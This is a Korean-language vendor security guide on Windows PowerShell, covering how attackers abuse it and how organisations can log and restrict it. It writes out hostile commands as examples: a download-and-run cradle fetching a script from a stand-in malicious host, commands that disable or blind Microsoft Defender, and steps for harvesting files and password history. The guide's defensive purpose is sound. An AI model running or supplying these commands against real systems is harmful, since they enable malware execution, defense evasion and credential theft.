Skip to main content
사이버 보안

Windows PowerShell이란?

Windows PowerShell은 강력한 자동화 도구입니다. 보안에 미치는 영향과 조직 환경에서 안전하게 사용하는 방법을 알아보세요.

작성자 SentinelOne
Windows PowerShell이란?

Windows PowerShell은 작업 자동화와 구성 관리에 사용하는 강력한 스크립팅 언어이자 명령줄 셸입니다. 이 가이드에서는 시스템 관리와 보안에서 PowerShell의 역할을 비롯해 주요 기능을 살펴봅니다.

일반적인 PowerShell 명령어와 스크립팅 모범 사례, 사이버 보안에 PowerShell을 활용하는 방법을 알아보세요. PowerShell에 대한 이해는 IT 전문가와 보안 실무자에게 필수적입니다.

Windows PowerShell - Featured Image | SentinelOne

PowerShell은 기업의 중요 자산에 어떤 영향을 미칠까요? PowerShell의 기본 개념, 해커에게 매력적인 이유 & 기업을 보호하는 방법을 알아보세요

Microsoft PowerShell은 작업을 자동화하고 Windows 기반 시스템을 관리하는 명령줄 셸이자 스크립팅 언어입니다. 관리자와 보안 전문가는 이를 사용해 반복 작업을 자동화하고, 시스템을 관리·모니터링하며, 보안 사고 대응을 자동화합니다. 공격자 역시 PowerShell을 사용해 시스템에 무단으로 접근하고 악성 코드를 실행하는 경우가 많습니다.

Microsoft PowerShell은 2006년부터 Windows에서 사용할 수 있었습니다. 현재는 Windows 10의 File Explorer에서 사용하는 명령 셸이며, 기존 cmd.exe 도구를 대부분 대체했습니다. 일반 사용자에게는 낯설게 느껴질 수 있지만, PowerShell은 유연성과 강력한 기능 덕분에 IT 팀과 네트워크 관리자에게 필수적인 도구가 되었습니다. 이 입문 가이드에서는 PowerShell의 기본 개념과 해커 및 악성코드 제작자에게 매력적인 이유, 조직을 보호하는 방법을 설명합니다.

필요에 맞는 버전 선택

Cortana 검색창에 ‘PowerShell’을 입력하면 PowerShell ISE와 PowerShell Desktop 앱이 표시됩니다. 시작 메뉴나 두 PowerShell의 작업 표시줄 아이콘을 마우스 오른쪽 버튼으로 클릭하면 각 버전을 현재 사용자 또는 관리자 권한으로 실행할 수 있습니다.

A screenshot image of Window

반복 작업을 자동화하려는 관리자는 PowerShell 모듈과 스크립트를 개발할 때 ISE 인터페이스를 사용합니다. 대화형 작업에는 대체로 PowerShell Desktop 앱을 선택하고, 작업에 따라 관리자 또는 현재 사용자 권한으로 실행합니다.

Windows뿐 아니라 Linux와 macOS에서도 실행되는 크로스 플랫폼 오픈 소스 버전인 PowerShell Core에 대해서도 들어보셨을 것입니다:

A screenshot image of Macintosh HD scripts

다만 PowerShell Core는 서명되지 않은 바이너리로 설치되어 악성 파일로 쉽게 바뀔 수 있으므로 주의해야 합니다. PowerShell Core를 사용하는 엔드포인트가 있다면 조직에서 적절한 인증서로 서명하거나 정기적으로 shasum 검사를 실행해 변조 여부를 확인하세요.

PowerShell 버전마다 기능에는 차이가 있지만, 모두 SSH를 통한 원격 세션을 실행하고 다양한 프로세스 및 서비스와 상호작용할 수 있습니다. PowerShell은 Windows 레지스트리와 이벤트 로그에도 접근할 수 있습니다. PowerShell에 접근한 공격자 역시 이 모든 기능을 사용할 수 있습니다.

PowerShell의 강력한 기능 활용

두 가지 간단한 명령어로 PowerShell의 기능을 살펴보세요:

Get-Module -ListAvailable

은 사용 가능한 모듈을 나열하고,

Get-Command

는 사용 가능한 명령어를 나열합니다:

Window

몇 가지 예를 간단히 살펴보겠습니다. 사용자 또는 공격자가 문서 디렉터리에서 관심 있는 내용을 빠르게 찾으려 한다고 가정해 보겠습니다. 다음 명령어는 하위 디렉터리를 재귀적으로 탐색하며 숨김 파일을 포함한 모든 텍스트 파일의 처음 두 줄과 마지막 두 줄을 출력합니다. 결과는 나중에 검토하거나 가져올 수 있도록 다른 텍스트 파일에 기록됩니다:

Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log

누군가 “Confidential”로 시작하거나 “Chief Financial Officer”처럼 작성자의 직책으로 끝나는 문서를 찾는다면, 이 명령어로 관심 있는 파일을 빠르게 추려낼 수 있습니다.

침입 흔적을 지우기 위해 항목을 삭제하려면 다음 명령어만 실행하면 됩니다:

Remove-Item <path>

PowerShell을 사용하면 운영 체제를 다양한 방식으로 조작할 수 있습니다. 그중에는 위험한 방식도 있습니다. 악성코드 제작자가 기본 설치된 Microsoft Defender AV 엔진을 우회하려는 경우, 적절한 권한으로 PowerShell 명령어를 실행해 엔진을 비활성화할 수 있습니다:

Set-MpPreference -DisableRealTimeMonitoring $true

또는 눈에 덜 띄게 드라이브나 경로를 검사 대상에서 제외할 수도 있습니다:

Add-MpPreference -ExclusionPath “c:”

공격자는 PowerShell의 Get-PSDrive와 Get-EventLog를 사용해 각각 네트워크 드라이브를 나열하고 이벤트 로그를 조회할 수도 있습니다. 이를 통해 악용 가능한 정보를 찾을 수 있습니다.

A screenshot image of Window

사용자와 공격자 모두에게 유용한 기능은 명령줄에서 대화형으로 입력한 명령어와 전달된 인수의 기록을 읽는 것입니다. 기록은 다음 명령어가 출력하는 경로에 저장됩니다:

(Get-PSReadLineOption).HistorySavePath

cat과 Select-String cmdlet 또는 별칭 sls를 사용하면 명령어 기록에서 관심 있는 항목을 효과적으로 검색할 수 있습니다. 예를 들면 비밀번호! 같은 항목입니다:

A screenshot of Tweet that Nikhil Mittal

스크립트 & 익스플로잇 키트

하지만 공격자에게 더 큰 기회는 명령줄에서 PowerShell을 사용하는 데 있지 않습니다. 더 위험한 것은 메모리에서 스크립트를 실행하는 기능(이른바 “파일리스” 악성코드 공격)과 디스크에서 스크립트를 실행하는 기능입니다. 두 방식 모두 호스트에서 직접 실행하거나 원격으로 실행할 수 있습니다.

Unix 셸의 eval 명령어와 마찬가지로 PowerShell에는 Invoke-Expression(별칭 iex)이 있어 악성 스크립트를 다운로드하고 메모리에서 실행할 수 있습니다. Bypass를 추가하면 제한된 실행 정책을 우회하려고 시도할 수 있습니다:

powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"

예상대로 PowerShell의 잠재력을 최대한 활용하는 종합적인 악용 프레임워크가 등장하기까지는 오래 걸리지 않았습니다.

그중 대표적인 것이 PowerSploit입니다. 피해자의 컴퓨터를 조작하고 제어하는 데 쓰이는 PowerShell 스크립트 모음입니다.

A screenshot image of AntivirusBypass scripts

PowerShell Empire는 PowerSploit과 여러 프로젝트의 성과를 바탕으로 만들어진 침해 후 악용 도구입니다. 네트워크 탐지를 회피하고, 키로거를 실행하며, Mimikatz 같은 모듈을 실행해 메모리에서 평문 비밀번호, 비밀번호 해시 및 기타 데이터를 직접 추출합니다.

Screenshot image of PowerShell post-exploitation Empire

PowerShell 공격의 증가

PowerShell 스크립트와 다른 유형의 Windows 파일, .exe, .bat, .wsf, .LNK에서 실행할 수 있는 PowerShell 명령이 만들어진 것은 최근 몇 년간 PowerShell 기반 악성코드가 증가한 이유 중 하나입니다. 한 추정치 에 따르면 PowerShell 악용은 악성코드 사고의 약 40%를 차지합니다. 공격자가 랜섬웨어부터 자격 증명 탈취와 뱅킹 트로이 목마에 이르기까지 다양한 공격에 PowerShell을 활용한다는 점은 분명합니다. PowerShell은 클릭 사기, 비밀번호 스니핑 및 데이터 유출에도 사용되었습니다.

DNSMessenger는 Word 문서 매크로를 통해 확산되는 것으로 확인된 악성코드입니다. VBA 소스 코드를 교묘하게 사용해 인코딩된 PowerShell 명령을 전달하고, 지속성을 확보하며, 페이로드를 배포하고 C&C 서버와 통신합니다.

놀랍게도 일부 PowerShell 공격에는 내장된 PowerShell.exe조차 필요하지 않습니다. PowerShdll과 InsecurePowerShell 같은 도구는 PowerShell 바이너리의 기반이 되는 System.Management.Automation.dll을 활용해 스크립트를 직접 실행합니다. 즉, PowerShell 실행 파일은 동적 링크 라이브러리에 있는 실제 코드를 실행하는 호스트 또는 래퍼에 불과합니다. 공격자는 이를 이용해 사실상 모든 프로세스에서 PowerShell 스크립트와 명령을 실행할 수 있습니다.

PowerShell을 활용하는 또 다른 창의적인 방식으로는 PNG 파일의 픽셀에 PowerShell 스크립트를 숨긴 뒤 Invoke-PSImage를 사용해 실행하는 한 줄 명령을 생성하거나, PS2EXE 같은 도구로 PowerShell 스크립트를 EXE 파일로 변환하는 방법이 있습니다.

PowerShell 관리

이처럼 PowerShell.exe를 단순히 차단하는 것은 효과가 없을 뿐 아니라, PowerShell에 의존하는 시스템 관리자에게 큰 부담을 준다는 점이 분명합니다. PowerShell과 그 기반이 되는 DLL은 Windows 운영 체제의 필수 구성 요소입니다. PowerShell Core의 등장으로 기업에 필수적일 수 있는 크로스 플랫폼 관리에도 PowerShell을 활용할 수 있게 되었습니다.

PowerShell의 양면성에 대응하는 효과적인 엔터프라이즈 솔루션으로는 엔드포인트에서 실행되는 프로세스의 동작을 분석하는 SentinelOne이 있습니다. 맬웨어 공격의 구현 방식과 관계없이 프로세스는 비슷하게 동작하기 때문입니다. SentinelOne 에이전트는 악성 활동과 정상 활동을 구분하기 위해 에이전트에서 발생하는 모든 활동을 모니터링합니다. 에이전트는 이미 사용자, 프로세스, 명령줄 인수, 레지스트리, 디스크의 파일, 외부 통신에 대한 전체 컨텍스트를 확보하고 있어 출처와 관계없이 악성 활동에 대응할 수 있습니다.


이 글이 마음에 드셨나요? LinkedIn, Twitter, YouTube 또는 Facebook에서 팔로우하고 새로운 콘텐츠를 확인하세요.

Windows 보안에 대해 자세히 알아보기

Callout Background Image Gradient

AI 기반 사이버 보안

실시간 감지, 머신 속도 대응, 전체 디지털 환경에 대한 종합적인 가시성을 통해 보안 태세를 강화하세요.

Windows PowerShell FAQ

Windows PowerShell은 .NET Framework를 기반으로 구축된 Microsoft의 명령줄 셸이자 스크립팅 언어입니다. 동사-명사 형식의 간단한 명령인 cmdlet을 사용해 파일 시스템, 레지스트리, 서비스 관리 등의 작업을 자동화합니다.

PowerShell은 일반 텍스트 대신 객체를 처리하고 반환하므로, 구조화된 데이터를 한 cmdlet에서 다음 cmdlet으로 파이프라인을 통해 전달할 수 있습니다. 원격 관리, 모듈, 콘솔 내 도움말도 지원합니다.

기존 CMD와 달리 PowerShell은 동사-명사 형식의 cmdlet을 사용하며, 텍스트 스트림이 아닌 .NET 객체를 처리합니다. 따라서 텍스트를 구문 분석하지 않고도 파이프라인으로 명령을 연결할 수 있습니다. PowerShell 스크립트는 .NET APIs를 직접 호출하고, 더 폭넓은 오류 처리와 모듈을 지원합니다.

기존 셸이 일반 텍스트와 기본 배치 스크립트만 처리하는 반면, PowerShell은 자동화와 구성을 위한 완전한 스크립팅 환경을 제공합니다.

PowerShell은 시스템과 긴밀하게 통합되고 강력한 스크립팅 기능을 갖춰 관리자와 공격자 모두에게 널리 쓰입니다. 위협 행위자는 탐지를 피하려고 메모리에서 스크립트를 실행하는 파일리스 기법을 사용합니다.

PowerShell은 디스크에 파일을 남기지 않고도 방어 기능을 비활성화하거나 악성코드를 다운로드하고 자격 증명을 탈취하는 데 사용될 수 있습니다. Windows 전반에서 사용되는 만큼, 보안 팀은 PowerShell 활동을 높은 위험으로 간주하고 악용 여부를 면밀히 모니터링해야 합니다.

Cisco 연구에 따르면 엔드포인트의 심각한 보안 위협 중 3분의 1 이상에 PowerShell이 연관되었습니다. Carbon Black은 사고의 38%에서 PowerShell 악용을 확인했으며, 주로 횡적 이동이나 자격 증명 탈취 같은 침해 후 활동에 사용되었습니다.

정상적인 사용은 많지 않지만, 확인된 악성 활동 약 14건 중 1건에서 PowerShell이 나타납니다.

모듈 로깅, 스크립트 블록 로깅, 기록 등 모든 PowerShell 로깅을 활성화하세요. 로그 크기를 최소 150 MB로 설정하고 다음 위치에서 이벤트를 수집하세요:

Microsoft-Windows-PowerShell/Operational 및 PowerShellCore/Operational. 로그를 SIEM 또는 XDR로 전송하세요. 신뢰할 수 없는 상위 프로세스에서 실행되는 스크립트를 차단하고, 서명된 스크립트만 실행되도록 실행 정책을 제한하세요. 추가 정보를 확보하려면 Protected Event Logging을 활성화하세요.

Just Enough Administration (JEA)을 사용해 사용자의 접근을 승인된 cmdlet로 제한하세요. 제한된 언어 모드를 적용해 COM, WMI, 복잡한 표현식을 비활성화하세요. Application Control 정책(예: WDAC)을 배포해 서명된 스크립트만 허용하세요.

PowerShell을 v5.1 이상으로 업데이트하세요. 모든 스크립트 실행이 기록되도록 로깅 설정을 정기적으로 검토하고 조정하세요.

PowerShell을 완전히 차단하면 시스템 관리와 원격 관리에 지장이 생길 수 있습니다. Microsoft는 완전한 제거를 권장하지 않습니다. 대신 승인된 관리자만 실행하도록 제한하고, 애플리케이션 제어를 적용하며, Office 앱처럼 신뢰할 수 없는 상위 프로세스에서 PowerShell이 실행되지 않도록 제한하세요.

이러한 제어를 로깅 및 모니터링과 함께 적용하면 정상적인 운영을 저해하지 않으면서 대부분의 악의적 사용을 차단할 수 있습니다.

PowerShell을 사용하면 사고 대응을 자동화하고 포렌식 데이터를 신속하게 수집하며 위협 헌팅을 수행할 수 있습니다. 스크립트를 작성해 레지스트리 아티팩트, 프로세스 목록, 네트워크 연결 정보를 몇 분 만에 수집할 수 있습니다. 침해 후 활동에 쓰이는 많은 도구(Empire, Cobalt Strike)가 내부적으로 PowerShell을 사용하므로, PowerShell을 배우면 공격자 기법을 이해하는 데도 도움이 됩니다.

PowerShell 스크립트는 초기 분석을 위해 실행 중인 시스템의 메모리, 레지스트리 실행 키, 이벤트 로그, 네트워크 데이터를 수집할 수 있습니다. DFIR-Script 같은 커뮤니티 도구는 엔드포인트 전반의 증거 수집을 자동화합니다. 위협 헌팅 담당자는 PowerShell로 Windows Event ID 4104를 조회해 악성 스크립트 블록을 찾고, 출력을 구문 분석한 뒤 결과를 SOAR 플레이북에 전달합니다. 따라서 PowerShell은 탐지, 격리, 복구 워크플로의 핵심 요소입니다.

다음에 대해 더 알아보기 사이버 보안

Decorative background gradient

가장 진보된 사이버 보안 플랫폼을 경험해 보세요

세계에서 가장 지능적이고 자율적인 사이버 보안 플랫폼이 오늘과 미래에 귀사의 조직을 어떻게 보호할 수 있는지 확인해 보세요.
Dark dashboard UI with purple-highlighted nav, summary cards showing 149, 7, 78, 56, 1.2 h, and a status table with linked purple text